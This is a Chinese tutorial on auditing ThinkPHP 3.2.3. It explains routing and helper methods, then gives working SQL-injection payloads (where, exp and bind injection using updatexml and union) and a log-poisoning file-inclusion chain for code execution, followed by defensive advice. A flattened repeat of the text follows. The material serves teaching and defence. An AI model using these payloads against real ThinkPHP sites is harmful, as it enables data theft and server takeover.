简记一次Tp3框架审计之旅
字数 1540 2025-08-11 17:40:05

ThinkPHP 3.2.3 框架审计与漏洞分析教学文档

一、MVC框架基础

1. MVC架构概述

  • Model(模型): 负责业务数据处理和数据库交互
  • View(视图): 提供数据展示方式
  • Controller(控制器): 处理用户请求和业务逻辑

2. ThinkPHP框架目录结构

www/                     # WEB部署目录
├── index.php            # 入口文件
├── Application/         # 应用目录
├── Public/              # 资源文件目录
└── ThinkPHP/            # 框架核心目录
    ├── Common/          # 核心公共函数
    ├── Conf/            # 核心配置
    ├── Lang/            # 核心语言包
    ├── Library/         # 框架类库
    │   ├── Think/       # 核心类库
    │   ├── Behavior/    # 行为类库
    │   └── Org/         # Org类库
    ├── Mode/            # 应用模式
    ├── Tpl/             # 系统模板
    └── ThinkPHP.php     # 框架入口

二、路由模式详解

1. Pathinfo模式(默认)

格式:http://网址/index.php/模块/控制器/操作方法/参数/参数值
示例:http://127.0.0.1/index.php/Home/Index/index/id/2

2. 普通模式

格式:http://网址/index.php?m=模块&c=控制器&a=方法&参数=值
示例:http://127.0.0.1/index.php?m=Home&c=index&a=index&id=1

3. 兼容模式

格式:http://网址/index.php?s=/模块/控制器/方法/参数/值
示例:http://127.0.0.1/index.php?s=Home/index/index/id/33

4. Rewrite模式

配置步骤:

  1. 开启Apache的rewrite模块
  2. 创建.htaccess文件:
<IfModule mod_rewrite.c>
  RewriteEngine on
  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]
</IfModule>

格式:http://网址/模块/控制器/操作方法/参数/值
示例:http://127.0.0.1/Home/index/index/id/2

三、核心方法解析

1. I方法 - 安全输入

格式:I('变量类型.变量名/修饰符',[默认值],[过滤方法],[额外数据源])
示例:

I('get.id');                  // 等效$_GET['id']
I('get.id', 0);               // 默认值0
I('get.name', '', 'htmlspecialchars'); // 过滤XSS

2. M方法 - 模型实例化

格式:M('[基础模型名:]模型名','表前缀','数据库连接')
示例:$User = M('User'); // 等效new Model('User')

3. C方法 - 配置管理

示例:

C('URL_MODEL');          // 读取配置
C('USER_TYPE', 1);       // 设置配置

四、SQL注入漏洞分析

环境配置

  1. 创建数据库thinkphp和表users(id,username,passwd)
  2. 配置Application/Home/Conf/config.php
return array(
    'DB_TYPE' => 'mysql',
    'DB_HOST' => 'localhost',
    'DB_NAME' => 'thinkphp',
    'DB_USER' => 'root',
    'DB_PWD' => 'root',
    'DB_PORT' => 3306,
    'DB_PREFIX' => '',
    'DB_CHARSET'=> 'utf8',
    'DB_DEBUG' => TRUE
);

1. Where注入

漏洞代码:

public function select() {
    $id = I('get.id');
    $user = M('users');
    $data = $user->find($id);
    var_dump($data);
}

Payload示例

/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
/index.php/home/index/select?id[where]=0 union select user(),2,3

漏洞原理

  • I()方法过滤有限,仅过滤:EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|BETWEEN|NOT IN|IN
  • find()方法未充分过滤输入,直接拼接SQL

2. Exp注入

漏洞代码:

public function select() {
    $map = array('id'=>$_GET['id']);
    $user = M('users');
    $data = $user->where($map)->find();
    var_dump($data);
}

Payload

/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

漏洞原理

  • 绕过I()方法直接使用$_GET
  • exp操作符直接拼接SQL语句

3. Bind注入

漏洞代码:

public function select() {
    $User = M("users");
    $user['id'] = I('id');
    $data['passwd'] = I('passwd');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
}

Payload

/index.php/home/index/select?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1

最终SQL

UPDATE `users` SET `passwd`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

五、命令执行漏洞分析

环境配置

  1. 控制器代码:
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}
  1. 创建模板文件:ThinkPHP/Application/Home/View/Index/index.html

漏洞利用步骤

  1. 生成恶意日志:
/ThinkPHP/index.php?m=--><?=phpinfo();?>
  1. 包含日志文件:
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log

漏洞原理

  1. assign()方法覆盖模板变量
  2. display()方法加载模板时未充分验证路径
  3. extract()函数覆盖$_filename变量
  4. 最终通过include包含恶意日志文件

六、防御建议

  1. SQL注入防御

    • 严格使用I()方法并指定过滤函数
    • 使用预处理语句
    • 避免直接拼接SQL
  2. 命令执行防御

    • 禁用危险函数如extract()
    • 严格校验模板文件路径
    • 关闭调试模式生产环境
  3. 通用安全措施

    • 及时更新框架版本
    • 最小权限原则配置数据库
    • 启用日志审计

七、参考资源

  1. ThinkPHP官方手册
  2. SQL注入防护指南
  3. PHP安全编程最佳实践
ThinkPHP 3.2.3 框架审计与漏洞分析教学文档 一、MVC框架基础 1. MVC架构概述 Model(模型) : 负责业务数据处理和数据库交互 View(视图) : 提供数据展示方式 Controller(控制器) : 处理用户请求和业务逻辑 2. ThinkPHP框架目录结构 二、路由模式详解 1. Pathinfo模式(默认) 格式: http://网址/index.php/模块/控制器/操作方法/参数/参数值 示例: http://127.0.0.1/index.php/Home/Index/index/id/2 2. 普通模式 格式: http://网址/index.php?m=模块&c=控制器&a=方法&参数=值 示例: http://127.0.0.1/index.php?m=Home&c=index&a=index&id=1 3. 兼容模式 格式: http://网址/index.php?s=/模块/控制器/方法/参数/值 示例: http://127.0.0.1/index.php?s=Home/index/index/id/33 4. Rewrite模式 配置步骤: 开启Apache的rewrite模块 创建 .htaccess 文件: 格式: http://网址/模块/控制器/操作方法/参数/值 示例: http://127.0.0.1/Home/index/index/id/2 三、核心方法解析 1. I方法 - 安全输入 格式: I('变量类型.变量名/修饰符',[默认值],[过滤方法],[额外数据源]) 示例: 2. M方法 - 模型实例化 格式: M('[基础模型名:]模型名','表前缀','数据库连接') 示例: $User = M('User'); // 等效new Model('User') 3. C方法 - 配置管理 示例: 四、SQL注入漏洞分析 环境配置 创建数据库 thinkphp 和表 users (id,username,passwd) 配置 Application/Home/Conf/config.php : 1. Where注入 漏洞代码: Payload示例 : 漏洞原理 : I() 方法过滤有限,仅过滤: EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|BETWEEN|NOT IN|IN find() 方法未充分过滤输入,直接拼接SQL 2. Exp注入 漏洞代码: Payload : 漏洞原理 : 绕过 I() 方法直接使用 $_GET exp 操作符直接拼接SQL语句 3. Bind注入 漏洞代码: Payload : 最终SQL : 五、命令执行漏洞分析 环境配置 控制器代码: 创建模板文件: ThinkPHP/Application/Home/View/Index/index.html 漏洞利用步骤 生成恶意日志: 包含日志文件: 漏洞原理 assign() 方法覆盖模板变量 display() 方法加载模板时未充分验证路径 extract() 函数覆盖 $_filename 变量 最终通过 include 包含恶意日志文件 六、防御建议 SQL注入防御 : 严格使用 I() 方法并指定过滤函数 使用预处理语句 避免直接拼接SQL 命令执行防御 : 禁用危险函数如 extract() 严格校验模板文件路径 关闭调试模式生产环境 通用安全措施 : 及时更新框架版本 最小权限原则配置数据库 启用日志审计 七、参考资源 ThinkPHP官方手册 SQL注入防护指南 PHP安全编程最佳实践